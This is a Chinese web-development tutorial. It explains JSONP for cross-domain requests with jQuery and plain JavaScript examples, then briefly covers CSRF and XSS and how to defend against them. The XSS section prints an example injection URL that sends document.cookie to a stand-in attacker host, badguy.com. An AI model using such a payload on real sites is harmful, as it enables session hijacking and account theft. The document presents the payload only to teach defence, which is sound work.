JSONP简介

2014-11-07 1900 0

JSONP 简介

首先要理解下面几个概念:

  1. 一个众所周知的问题,Ajax直接请求普通文件存在跨域无权限访问的问题,甭管你是静态页面、动态网页、web服务、WCF,只要是跨域请求,一律不准。
  2. 不过我们又发现,Web页面上调用js文件时则不受是否跨域的影响(不仅如此,我们还发现凡是拥有”src”这个属性的标签都拥有跨域的能力,比如<script>、<img>、<iframe>)。
  3. 于是可以判断,当前阶段如果想通过纯web端(ActiveX控件、服务端代理、属于未来的HTML5之Websocket等方式不算)跨域访问数据就只有一种可能,那就是在远程服务器上设法把数据装进js格式的文件里,供客户端调用和进一步处理。
  4. 恰巧我们已经知道有一种叫做JSON的纯字符数据格式可以简洁的描述复杂数据,更妙的是JSON还被js原生支持,所以在客户端几乎可以随心所欲的处理这种格式的数据。
  5. 这样子解决方案就呼之欲出了,web客户端通过与调用脚本一模一样的方式,来调用跨域服务器上动态生成的js格式文件(一般以JSON为后缀),显而易见,服务器之所以要动态生成JSON文件,目的就在于把客户端需要的数据装入进去。
  6. 客户端在对JSON文件调用成功之后,也就获得了自己所需的数据,剩下的就是按照自己需求进行处理和展现了,这种获取远程数据的方式看起来非常像AJAX,但其实并不一样。
  7. 为了便于客户端使用数据,逐渐形成了一种非正式传输协议,人们把它称作JSONP(JSON with Padding),该协议的一个要点就是允许用户传递一个callback参数给服务端,然后服务端返回数据时会将这个callback参数作为函数名来包裹住JSON数据,这样客户端就可以随意定制自己的函数来自动处理返回数据了。

因为Javascript不允许跨域请求(在头部加上"Access-Control-Allow-Origin: *"则允许跨域),所以不能直接获取跨域的数据。如果将其放在<script>里面,则会当成js来处理。例如:

远程服务器remoteserver.com根目录下有个remote.js文件代码如下:

  1. alert('我是远程文件');

本地html文件里引用这个js:

  1. <script type="text/javascript" src="http://remoteserver.com/remote.js"></script>

毫无疑问,页面将会弹出一个提示窗体,说明跨域调用成功,和运行本地js文件一样。
如果我们要获取远程数据,例如商品信息,

  1. {"name":"C++ Primer Plus","price":15}

如果直接写在js文件里,也就是remote.js里面,则浏览器会把他当成Javascript脚本,下载完后立即运行,但是很明显这并不是合法的js语句。(一般来说如果只返回json数据,会使用remote.json,当然也可以没有后缀,本身并不是一个文件,只是字符串)
当然,我们获取数据是为了使用,把数据当作参数传到一个函数里去,所以将其放到一个回调函数里,即返回的数据如下:

  1. getPrice({"name":"C++ Primer Plus","price":15})

前面说过,浏览器会把它当作js脚本运行,如果本地有getPrice这个函数,则会直接调用这个函数,也就达到了我们的目的,这也就是jsonp了。getPrice可以当作query参数(一般是callback)添加到url中,这样服务端就会动态生成所需内容了。

ajax使用jsonp就很简单了,创建一个script标签并添加到DOM中就可以了

  1. jQuery("<script></script>").attr("src", src).appendTo("body");
  2. var script = document.createElement('script');
  3. script.src = url;
  4. document.getElementsByTagName('head')[0].appendChild(script);

从 1.2 版本开始,jQuery 拥有对 JSONP 回调的本地支持。如果指定了 JSONP 回调,就可以加载位于另一个域的 JSON 数据,回调的语法为:url?callback=?。jQuery 自动将 ? 替换为要调用的生成函数名。

  1. jQuery.getJSON(url+"&callback=?", function(data) {
  2. console.log(data);
  3. });

当然了,也可以使用ajax:

  1. jQuery.ajax({
  2. url: 'http://remoteserver/somejsonp',
  3. dataType: "jsonp",
  4. async:true,
  5. jsonp: "callback",
  6. success: function (data) {
  7. console.log(data)
  8. }
  9. })

记录,同源策略仅仅阻止了脚本读取来自其他站点的内容和阻住对请求的响应。但是却没有防止脚本向其他站点发出请求。也就是说该请求仍然是发送出去了的,只不过脚本无法获得请求的响应。

CSRF(Cross-site request forgery)跨站请求伪造

攻击方法:A站点有CSRF漏洞,用户登录了站点A,有了A的Cookie,恶意站点B,B上放一张图片什么的诱导用户点击,链接是A站点的链接,这就和在A站点上点击效果是一样的,会导致用户无意间操作了什么自己都不知道。即便是POST,通过构造一个iframe也可以很容易的进行攻击。
防范方法:对每个用户设置一个随机的Cookie值,所有的表单提交都要带上这个值,然后在服务端进行验证这个值。攻击者无法获取第三方的Cookie,所以也就无法提供这个值了。但是如果Cookie由于网站的XSS漏洞而被盗取,这个方法也会失效。

XSS (Cross Site Scripting) 跨站脚本攻击

攻击方法:A站点有XSS漏洞,会原样打印出输入的请求,如搜索:
http://victim.com/search.asp?term=apple
返回结果:
找到关于apple的条目如下:
……..
如果用户点击了下面的链接(通过邮件,网站,聊天等):

  1. http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

那么B站点就获取了用户的Cookie了。
或者在A上发表文章,文章中包含恶意的javascript代码,用户浏览该文章时就浏览器就会运行其中的javascript脚本了。

防范方法:
原则: 不相信客户输入的数据
注意: 攻击代码不一定在<script></script>中

将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了。
只允许用户输入我们期望的数据。 例如:年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。
对数据进行Html Encode 处理
过滤或移除特殊的Html标签, 例如: <script>, <iframe> , <,>, “等
过滤JavaScript 事件的标签。例如 “onclick=”, “onfocus” 等等。